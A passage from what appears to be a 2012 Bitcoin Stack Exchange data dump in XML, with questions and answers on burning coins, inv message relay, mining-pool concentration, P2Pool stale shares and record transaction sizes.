LastActivityDate="2012-03-23T22:21:16.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3267" PostTypeId="2" ParentId="3228" CreationDate="2012-03-23T22:37:55.543" Score="14" Body="&lt;p&gt;A non-malicious reason to deliberately destroy notable amounts of Bitcoins would be for a hypothetical alternative blockchain that recognizes Bitcoins sent to a special address as newly generated coins. One could for example try to establish a new &quot;Altcoin&quot; which is incompatible to Bitcoin, but every private key that signs a Bitcoin transaction to a special impossible Bitcoin address is eligible to also spend an according amount of Altcoins. This would enable a secure one-way conversion to a separate blockchain without the need for exchanges.&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2012-03-23T22:37:55.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3268" PostTypeId="2" ParentId="3262" CreationDate="2012-03-23T22:54:49.940" Score="15" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it a new payment merchant like PayPal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal is a company, Bitcoin isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal deals with existing currencies like US dollars, Bitcoin doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PayPal holds your balance for you, can freeze your account and can stop you from sending your money to people it doesn't like.  With Bitcoin, nobody can freeze your account or tell you how to spend your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it a virtual currency like LindenDollars that can't be really used as money? (put money In, but not Out)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whether it is a currency or not isn't clear, but it is virtual.  Some say it's more like a commodity than a currency.  It acts a lot like gold, in that there is a finite supply of it, it's valued by some people, and it can be used as money anywhere that accepts it.  Also, it can be bought and sold for US dollars and many other currencies.  At the time of writing 1 bitcoin is worth 470 USD, and there are plenty of people willing to buy them from you at just under that price or sell them to you at just over that price.  The price is decided by &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the market&lt;/a&gt;. The price bitcoin trades at is the one people think it is currently worth.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it a new currency system, where people exchange bitcoin addresses instead of real money?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It acts a lot like a currency and can be used to trade with anyone who accepts it.  It is very cheap to transfer between any two points in the world, and very fast compared to transferring US dollars or other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this introductory video&lt;/a&gt; for a slicker introduction.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="85296" LastEditDate="2018-07-18T12:48:52.560" LastActivityDate="2018-07-18T12:48:52.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3269" PostTypeId="2" ParentId="2370" CreationDate="2012-03-24T15:34:03.873" Score="2" Body="&lt;p&gt;TransactionOutput.getScriptPubKey.getToAddress.toString&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this gives an exception when dealing with an oldstyle pay-to-IP script, so you might have to deal with these yourself if you need them (which in your use case you probably won't). An example can be found in the Scala code from the link below (from line 120 on):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/stefanwouldgo/Bitcoin-Graph-Explorer/blob/master/src/main/scala/Graph.scala&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stefanwouldgo/Bitcoin-Graph-Explorer/blob/master/src/main/scala/Graph.scala&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2012-03-24T15:34:03.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3270" PostTypeId="2" ParentId="3228" CreationDate="2012-03-24T19:41:10.227" Score="9" Body="&lt;p&gt;Certain escrow techniques rely on one party being able to &quot;destroy&quot; these bitcoins, without being able to steal them. For example I could put 10 bitcoins in escrow, giving a second person the ability to destroy them. Now if that second party lends me, say, 5 bitcoins, I can't simply run away from my debts without incurring a loss larger then the debt itself, once the other party destroys the bitcoins. There are variations of this scheme for a number of other purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want to actually destroy bitcoins in such a scheme, but you want the threat of destroying them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &quot;destroy&quot; in this context isn't necessarily an actual destruction, as long as &quot;destroyed&quot; bitcoins are a loss for both parties. Donations to trusted organizations are an alternative.&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="940" LastEditDate="2016-02-13T14:23:27.317" LastActivityDate="2016-02-13T14:23:27.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3272" PostTypeId="1" CreationDate="2012-03-25T00:48:59.687" Score="5" ViewCount="4451" Body="&lt;p&gt;There are several Namecoin &lt;a href=&quot;http://dot-bit.org/Trade&quot;&gt;exchanges listed at official wiki&lt;/a&gt; and &lt;a href=&quot;https://exchange.bitparking.com/main/&quot;&gt;Bitparking&lt;/a&gt; seems to be the oldest, but which one is the most used?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2014-05-11T02:55:17.040" Title="What's the most popular Namecoin exchange?" Tags="|exchanges|namecoin|" AnswerCount="4" CommentCount="7" FavoriteCount="0" ClosedDate="2014-05-22T10:55:35.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="3273" PostTypeId="1" AcceptedAnswerId="3277" CreationDate="2012-03-25T13:58:44.370" Score="1" ViewCount="263" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#inv&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inv&lt;/code&gt; message&lt;/a&gt; is used to relay one's knowledge of blocks and &lt;code&gt;tx&lt;/code&gt;s to other clients in the Network. When a new Client connects to the Network, it first receives information about all the blocks in form of an &lt;code&gt;inv&lt;/code&gt; message, as a response to &lt;code&gt;getblocks&lt;/code&gt; messages. As there is no &lt;code&gt;gettx&lt;/code&gt; message, I presume the information about transactions is  relayed in the last &lt;code&gt;inv&lt;/code&gt; response to &lt;code&gt;getblocks&lt;/code&gt;. Is that indeed the way the Standard Client operates, or does it just relay the &lt;code&gt;tx&lt;/code&gt; messages only when they arrive, making newly connected Clients wait to catch up with the information about the &lt;code&gt;tx&lt;/code&gt;s?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2022-08-08T20:54:12.493" LastActivityDate="2022-08-08T20:54:12.493" Title="When does the main client relay its knowledge of TXs in INV message?" Tags="|bitcoin-core|transactions|protocol|p2p|transaction-propagation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3274" PostTypeId="1" AcceptedAnswerId="3278" CreationDate="2012-03-25T14:00:55.437" Score="4" ViewCount="785" Body="&lt;p&gt;According to &lt;a href=&quot;http://blockchain.info/pools?timespan=4days&quot; rel=&quot;nofollow&quot;&gt;this graph&lt;/a&gt;, the biggest miner is so big that combined with two of the three runners-up they would have more than 50% of the hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that to be considered a threat to the bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="5406" LastEditDate="2016-03-31T10:36:24.820" LastActivityDate="2016-03-31T10:36:24.820" Title="Are big miners a threat for Bitcoin?" Tags="|mining-pools|hashpower|majority-attack|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3275" PostTypeId="2" ParentId="3258" CreationDate="2012-03-25T14:15:59.683" Score="1" Body="&lt;p&gt;If you'd be using solely Bitcoins, you wouldn't need the cash drawer (unless if you'd want to use physical Bitcoins, which would be awesome in itself). Alternatively, you could set it up so Bitcoins would be an alternative way of paying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As both the printer and the cash drawer appear not to be produced by the same company that delivers the app, one can assume the integration with that hardware shouldn't be a problem. Since &lt;a href=&quot;https://bit-pay.com/&quot; rel=&quot;nofollow&quot;&gt;Bit-Pay&lt;/a&gt; has already proven that one can accept Bitcoin payments on the iOS, integration with Bitcoin is quite possible (although how easy still remains a question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, anything that can be done with regular cash can also be done with Bitcoins, it's just a matter of how much work one needs to put in.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-25T14:15:59.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3276" PostTypeId="2" ParentId="3274" CreationDate="2012-03-25T17:01:20.290" Score="1" Body="&lt;p&gt;Anyone holding a large amount of computing power can be seen as a potential threat to the Bitcoin Network. However, those pools have been around for a long while and their owners have earned their reputation in the Bitcoin community, so they can be more trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, as it is not just one pool but three, such collusion is less likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There already was an incident where a single pool was holding a majority of the computing power of the Bitcoin network due to another pool shutting down for awhile and nothing really happened. If something was happening, one could probably pick it up quite early on and probably a lot of miners using those pools would put their computing power elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining pools are largely financially invested in Bitcoin, meaning that they might be less likely to harm the Bitcoin community. However, the same could not be said about alternative cryptocurrencies, as it was demonstrated by &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/o6qwx/lukejr_attacks_and_kills_coiledcoin_altcurrency/&quot; rel=&quot;nofollow&quot;&gt;Eligius attack on Coiledcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, however, you'd have a major mining farm held by one person or corporation whose main source of income is not Bitcoin, then you can start worrying. Those, however, would not appear as a mining pool.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-25T17:01:20.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3277" PostTypeId="2" ParentId="3273" CreationDate="2012-03-25T17:42:48.040" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a6b4a11385bf44e695c3e47cbd0de6e40eea0b23/src/net.cpp#L1505&quot; rel=&quot;nofollow&quot;&gt;ThreadMessageHandler2()&lt;/a&gt; calls &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a6b4a11385bf44e695c3e47cbd0de6e40eea0b23/src/main.cpp#L2826&quot; rel=&quot;nofollow&quot;&gt;SendMessages()&lt;/a&gt; every 100 seconds, which causes &lt;code&gt;inv&lt;/code&gt; messages to be sent to the client's peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One peer is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a6b4a11385bf44e695c3e47cbd0de6e40eea0b23/src/net.cpp#L1534&quot; rel=&quot;nofollow&quot;&gt;picked at random&lt;/a&gt; to receive &lt;code&gt;inv&lt;/code&gt; messages which reference all the pending transactions that we know about and it doesn't, including the ones we created ourselves.  The rest of the peers receive a &lt;code&gt;inv&lt;/code&gt; messages which only reference &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/a6b4a11385bf44e695c3e47cbd0de6e40eea0b23/src/main.cpp#L2909&quot; rel=&quot;nofollow&quot;&gt;around 25%&lt;/a&gt; of the pending transactions that we know about and they don't, not including any of the ones we created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment in the code explains that this &quot;trickling&quot; of transaction inventory is to protect privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just noticed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41730.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; which also describes the process of advertising transactions.  Luckily it agrees with my description here.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-26T23:26:31.423" LastActivityDate="2012-03-26T23:26:31.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3278" PostTypeId="2" ParentId="3274" CreationDate="2012-03-25T17:58:22.347" Score="2" Body="&lt;p&gt;Those aren't miners, those are mining pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the risk of disruption (e.g., rejecting all transactions) if a miner (or cartel) has 50% + 1 of the hashing power.  But the pools are dependent on individual miners using the pool.  If a pool were found to be cooperating in such an attack, miners would go elsewhere and that pool's hashing strength would disappear quickly.  Thus the 50% foothold would erode and be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is a risk of temporary harm should your scenario play out.  Whether or not that could be permanent harm depends how determined the attacker is at controlling 50% + 1.  Doing so is not only not profitable, it would also require a tremendous outlay of money.  Attempting to attack Bitcoin with 50% could be performed only at a tremendous financial loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are more details on what the attacker could do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/662/153&quot;&gt;https://bitcoin.stackexchange.com/a/662/153&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-26T03:05:53.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3280" PostTypeId="2" ParentId="3273" CreationDate="2012-03-25T20:15:50.670" Score="1" Body="&lt;p&gt;The process of announcing and sending data is the same for both transactions and blocks: &lt;code&gt;inv&lt;/code&gt; announces the hash of an object, &lt;code&gt;getdata&lt;/code&gt; is used to request the object itself, and &lt;code&gt;tx&lt;/code&gt; or &lt;code&gt;block&lt;/code&gt; are used to submit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getblocks&lt;/code&gt; is a step before this process: it requests the announcements of recent blocks via &lt;code&gt;inv&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-03-25T20:15:50.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3281" PostTypeId="1" CreationDate="2012-03-25T20:38:15.237" Score="2" ViewCount="8694" Body="&lt;p&gt;Where can I get official DiabloMiner.app? Is it safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By safe I mean that it neither will try to steal my wallet nor will dig for somebody else.&lt;/p&gt;&#xA;" OwnerUserId="1206" LastEditorUserId="5406" LastEditDate="2016-03-14T17:00:13.470" LastActivityDate="2016-03-14T17:00:13.470" Title="Official DiabloMiner.app" Tags="|diablominer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3282" PostTypeId="2" ParentId="3281" CreationDate="2012-03-25T21:02:45.003" Score="1" Body="&lt;p&gt;It's hosted at &lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner/&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloads are &lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner/archives/master&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's open source, so you can check the code to see how safe it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1721&quot; rel=&quot;nofollow&quot;&gt;old but still active thread&lt;/a&gt; on the &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;bitcointalk forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the program is java code and so doesn't need compiling for OSX, and also that there's a script DiabloMiner-OSX.sh that runs it on OSX.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-26T14:48:29.020" LastActivityDate="2012-03-26T14:48:29.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3283" PostTypeId="2" ParentId="3207" CreationDate="2012-03-25T23:58:48.630" Score="0" Body="&lt;p&gt;My speculative answer here is that it should be possible for currency trading between two crypto currencies to be done safely in a distributed/anonymous fashion. (use new blockchain to track open orders, season with &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_5%3a_Trading_across_chains&quot; rel=&quot;nofollow&quot;&gt;crypto&lt;/a&gt; to taste.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Truly decentralized trading against FX currencies is a lot less plausible. &lt;/p&gt;&#xA;" OwnerUserId="1191" LastActivityDate="2012-03-25T23:58:48.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3284" PostTypeId="2" ParentId="3274" CreationDate="2012-03-26T04:02:44.893" Score="4" Body="&lt;p&gt;As others have mentioned, those are mining pools, not miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large mining pools provide the benefit of allowing small miners to earn more regular income, which encourages participation in bitcoin mining and strengthens the bitcoin network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are also a threat because they can be hijacked or DDOSed by a party wishing to do a &gt;50% attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A temporary &gt;50% attacking from a large pool being taken over by a hacker or DDOSed is a much smaller threat to bitcoin than a party acquiring more than 50% of the network hash-rate through their own hardware and being able to conduct a permanent/long-term &gt;50% attack, so mining pools, by increasing the contribution of honest miners to the network hashing rate, benefit bitcoin more than they threaten it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features could theoretically be incorporated into mining software to reduce the threat of hijacking and DDOS attacks too, like automatically switching a mining machine to a different pool if the mining software detects previously confirmed blocks becoming unconfirmed or the mining pool becomes unavailable, respectively.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2012-03-26T04:08:37.553" LastActivityDate="2012-03-26T04:08:37.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3286" PostTypeId="1" AcceptedAnswerId="3290" CreationDate="2012-03-26T11:40:52.653" Score="6" ViewCount="2299" Body="&lt;p&gt;I've heard from users on bitcointalk forums that the BFL single doesn't work with P2Pool as it produces about 50% rejected shares, which is insanely high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the hashing is not actually being done on the chip itself? And it's just taking place on an external server then submitted to the P2Pool node, which would maybe explain why the stale rate is so high due to network latency? (especially since BFL refuse to say what chip they are actually using in their Singles)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="18196" LastEditDate="2016-03-18T19:58:34.060" LastActivityDate="2016-03-18T19:58:34.060" Title="Why does the BFL Single produce ~50% stales with P2Pool?" Tags="|mining-pools|mining-theory|p2pool|fpga|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3287" PostTypeId="1" CreationDate="2012-03-26T18:50:04.503" Score="8" ViewCount="1749" Body="&lt;p&gt;As the title asked - what is the largest transaction by value to date?&lt;/p&gt;&#xA;" OwnerUserId="1213" LastEditorUserId="5406" LastEditDate="2015-11-08T00:40:26.437" LastActivityDate="2015-11-09T15:06:43.307" Title="What is the largest transaction by value to date for bitcoin currency?" Tags="|transactions|history|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3288" PostTypeId="2" ParentId="3287" CreationDate="2012-03-26T20:37:00.730" Score="8" Body="&lt;p&gt;Probably this one, 550,000 BTC transferred at one time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/tx/29a3efd3ef04f9153d47a990bd7b048a4b2d213daaa5fb8ed670fb85f13bdbcf&quot;&gt;http://blockexplorer.com/tx/29a3efd3ef04f9153d47a990bd7b048a4b2d213daaa5fb8ed670fb85f13bdbcf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the question, was it a transfer from one person to another, or was it a transfer simply to, for example, another wallet once the passphrase encryption feature was made available.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-26T20:37:00.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3289" PostTypeId="2" ParentId="3287" CreationDate="2012-03-26T22:16:59.047" Score="8" Body="&lt;p&gt;As of block 173016, on Mar 26 2012, these are the record breaking (and equalling) transactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 12 2009 - block    170, transaction f4184fc5 spends     50.00000000&#xA;Jan 14 2009 - block    496, transaction a3b0e9e7 spends     61.00000000&#xA;Jan 15 2009 - block    586, transaction 4d6edbeb spends    250.00000000&#xA;Jan 19 2009 - block   1055, transaction 8897ea9c spends    500.00000000&#xA;Jan 22 2009 - block   1296, transaction 59bf8acb spends    500.00000000&#xA;Jan 24 2009 - block   1586, transaction 3a5c037f spends    500.00000000&#xA;Jan 26 2009 - block   1945, transaction 5559270f spends   1000.00000000&#xA;Jan 31 2009 - block   2518, transaction 2ccc3f59 spends   1000.00000000&#xA;Feb 08 2009 - block   3510, transaction 92f55c2c spends   1000.00000000&#xA;Feb 09 2009 - block   3645, transaction cec658ac spends   2200.00000000&#xA;Mar 16 2009 - block   7677, transaction e6f00fa6 spends   2400.00000000&#xA;Apr 20 2009 - block  11666, transaction eebd343e spends   3500.00000000&#xA;Jul 20 2009 - block  19863, transaction 123a3968 spends   6049.67000000&#xA;Oct 16 2009 - block  25095, transaction 4aa98b18 spends   9700.00000000&#xA;Oct 22 2009 - block  25618, transaction 1aae9d58 spends  11950.00000000&#xA;Oct 24 2009 - block  25788, transaction 5d793270 spends  12250.00000000&#xA;Oct 27 2009 - block  25969, transaction 3cd9410f spends  13000.00000000&#xA;Nov 04 2009 - block  26402, transaction 6029e51c spends  15500.00000000&#xA;Nov 11 2009 - block  26814, transaction 1043eb5c spends  15500.00000000&#xA;Nov 19 2009 - block  27525, transaction f2e5fdd3 spends  21850.00000000&#xA;Nov 19 2009 - block  27528, transaction 67fc73c7 spends  22500.00000000&#xA;Mar 06 2010 - block  44006, transaction 23709241 spends  23247.39000000&#xA;Jul 12 2010 - block  65566, transaction ba62e528 spends  35000.00000000&#xA;Jul 26 2010 - block  70527, transaction b9d69463 spends  46754.31000000&#xA;Jul 28 2010 - block  70870, transaction 73ac0fdc spends  50000.95000000&#xA;Nov 06 2010 - block  90003, transaction 70dab592 spends  55000.00000000&#xA;Nov 08 2010 - block  90505, transaction 1ec28eee spends  96999.00000000&#xA;Jan 27 2011 - block 104770, transaction 8f821069 spends 400000.33000000&#xA;Jun 12 2011 - block 130281, transaction a09ac44c spends 432110.10745232&#xA;Jun 23 2011 - block 132749, transaction 3a1b9e33 spends 442000.00000000&#xA;Nov 16 2011 - block 153509, transaction 29a3efd3 spends 550000.00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-03-26T22:55:47.233" LastActivityDate="2012-03-26T22:55:47.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3290" PostTypeId="2" ParentId="3286" CreationDate="2012-03-27T02:26:00.213" Score="13" Body="&lt;p&gt;The BFL single produces high stale rates on P2Pool because of the way its firmware is designed. The BFL does 2^32 hashes and then reports any shares found. This takes it about 5 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With solo mining or typical pools, the work unit you get is valid for several minutes or until a new block is found (on average, one every ten minutes). So the average delay of 2-1/2 seconds between when you find a share and when it's reported has no effect. But P2Pool operates with an effectively much higher block rate because you're building blocks for the P2Pool chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, it comes down to which races you're trying to win and whether an average 2-1/2 second handicap matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solo mining: You're trying to find a block before someone else does. That happens on average every 10 minutes. So your 2-1/2 second handicap costs you about .4%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conventional mining pool: You're trying to find a share before the block is invalid. You can find multiple shares inside the same work unit. Work units typically last at least 4 minutes. Worst case, your 2-1/2 second handicap costs you about 1% (usually less, especially if the pool has a forgiving stale policy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool: You're trying to mine a P2Pool block before anyone else finds a share. Multiple shares in a work unit are useless as only one block can come next on the P2Pool chain. The average time to find a new P2Pool block is 10 seconds. Your 2-1/2 second handicap (plus loss of additional shares per block) costs you about 25%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, all these penalties should be doubled because the same penalty hits you when a new block is first found. All your units spend, on average, an extra 2-1/2 seconds finishing their work on the old block. (Effectively, the entire 5 seconds spent on a work unit while a new block is found is wasted. Any shares found before the five seconds are over are wasted since it's too late to use them, and any shares found after the five seconds are over are wasted since they were based on the wrong block.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix would be a simple firmware change to make the FPGA report a share as soon as one is found. That would solve half the problem. The next change would be to allow the FPGA to start working on a new work unit when a new one is available without having to finish the previous. That would solve the other half of the problem.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="516" LastEditDate="2012-08-21T18:58:12.603" LastActivityDate="2012-08-21T18:58:12.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3291" PostTypeId="2" ParentId="2236" CreationDate="2012-03-27T04:58:04.167" Score="-1" Body="&lt;p&gt;The huge missing feature of pywallet is that you can't import many keys at once (which is strange since it can &lt;em&gt;export&lt;/em&gt; many keys at once).&lt;/p&gt;&#xA;" OwnerUserId="1214" LastActivityDate="2012-03-27T04:58:04.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3296" PostTypeId="1" AcceptedAnswerId="3297" CreationDate="2012-03-27T09:06:36.053" Score="4" ViewCount="202" Body="&lt;p&gt;Blockchain just came out with a great &lt;a href=&quot;https://play.google.com/store/apps/details?id=piuk.blockchain&quot; rel=&quot;nofollow&quot;&gt;Android client&lt;/a&gt;, based on &lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/&quot; rel=&quot;nofollow&quot;&gt;bitcoin-wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the description it says &quot;No blockchain downlaod [sic.]&quot;. However, in the documentation of &lt;a href=&quot;https://github.com/zootreeves/My-Wallet-Android&quot; rel=&quot;nofollow&quot;&gt;their sources&lt;/a&gt;, they say &quot;When run for the first time, the block chain needs to be downloaded&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be optimistic and &lt;strong&gt;guess&lt;/strong&gt; they download all headers, and fully check the transactions regarding the local wallet, ignoring the unrelated transactions. However this is just a guess and I'd like to know which checks does it actually do client side, and how much does it instead &quot;just trust&quot; &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; (which is very reputable anyway, but still I'd rather know).&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2012-09-04T18:21:23.957" LastActivityDate="2012-09-04T18:21:23.957" Title="What client-side checks does blockchain's android client do?" Tags="|thin-clients|blockchain.info|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3297" PostTypeId="2" ParentId="3296" CreationDate="2012-03-27T09:38:40.947" Score="5" Body="&lt;p&gt;The quote in the documentation is a remnant from the &lt;a href=&quot;http://code.google.com/p/bitcoin-wallet/&quot;&gt;http://code.google.com/p/bitcoin-wallet/&lt;/a&gt; which the app was forked from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present it does not do any blockchain validation. I would like to have it so instead of downloading the full transactions from blockchain.info the client asks for the block hashes that contain transactions of interest. It can then download the full blocks from the p2p network and only the headers for other blocks to verify the proof of work. However this is not currently implemented.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-03-27T09:38:40.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3298" PostTypeId="1" AcceptedAnswerId="3302" CreationDate="2012-03-27T14:39:32.403" Score="9" ViewCount="1225" Body="&lt;p&gt;There is a lot of reference to BIP 16, 17 and the likes. What does BIP actually stand for? I'm unsure if this is a programming reference or a Bitcoin specific reference; either way I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="659" LastEditDate="2012-03-27T17:37:50.760" LastActivityDate="2018-12-02T22:28:03.457" Title="What does BIP mean?" Tags="|bip|terminology|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
